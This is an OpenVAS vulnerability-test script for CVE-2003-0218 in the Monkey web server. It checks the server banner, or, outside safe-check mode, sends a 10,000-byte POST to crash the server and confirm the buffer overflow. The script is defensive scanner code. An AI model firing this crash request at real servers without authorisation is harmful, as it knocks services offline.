Your web server crashes when it receives a POST command
with too much data.
It may even be possible to make this web server execute
arbitrary code with this attack.
# OpenVAS Vulnerability Test
# $Id: monkeyweb_too_big_post.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: MonkeyWeb POST with too much data
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2003 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "Your web server crashes when it receives a POST command
with too much data.
It *may* even be possible to make this web server execute
arbitrary code with this attack.";
tag_solution = "Upgrade your web server.";
# Ref:
# From: "Matthew Murphy" <[email protected]>
# To: "BugTraq" <[email protected]>
# Subject: Monkey HTTPd Remote Buffer Overflow
# Date: Sun, 20 Apr 2003 16:34:03 -0500
if(description)
{
script_id(11544);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2003-0218");
script_bugtraq_id(7202);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "MonkeyWeb POST with too much data";
script_name(name);
script_category(ACT_MIXED_ATTACK);
script_tag(name:"qod_type", value:"remote_banner");
script_copyright("This script is Copyright (C) 2003 Michel Arboi");
family = "Gain a shell remotely";
script_family(family);
script_dependencies("gb_get_http_banner.nasl");
script_mandatory_keys("Monkey/banner");
# The listening port in the example configuration file is 2001
# I suspect that some people might leave it unchanged.
script_require_ports("Services/www",80, 2001);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
port = get_http_port(default:80); # 2001 ?
if (safe_checks())
{
banner = get_http_banner(port: port);
if (banner =~ "Server: *Monkey/0\.([0-5]\.|6\.[01])")
{
report = "
The version of Monkey web server that you are running
is vulnerable to a buffer overflow on a POST command
with too much data.
It is possible to make this web server crash or execute
arbitrary code.
Solution: Upgrade to Monkey server 0.6.2";
security_message(port: port, data: report);
}
exit(0);
}
if (http_is_dead(port:port)) exit(0);
l = get_kb_list(string("www/", port, "/cgis"));
if (isnull(l) || max_index(l) == 0)
script = "/";
else
{
# Let's take a random CGI.
n = rand() % max_index(l);
script = ereg_replace(string: l[n], pattern: " - .*", replace: "");
if (! script) script = "/"; # Just in case the KB is corrupted
}
soc = http_open_socket(port);
if (! soc) exit(0);
req = http_post(item: script, port: port, data: crap(10000));
if ("Content-Type:" >!< req)
req = ereg_replace(string: req, pattern: 'Content-Length:',
replace: 'Content-Type: application/x-www-form-urlencoded\r\nContent-Length:');
send(socket: soc, data: req);
r = http_recv(socket: soc);
http_close_socket(soc);
if (http_is_dead(port: port))
{
security_message(port);
set_kb_item(name:"www/too_big_post_crash", value:TRUE);
}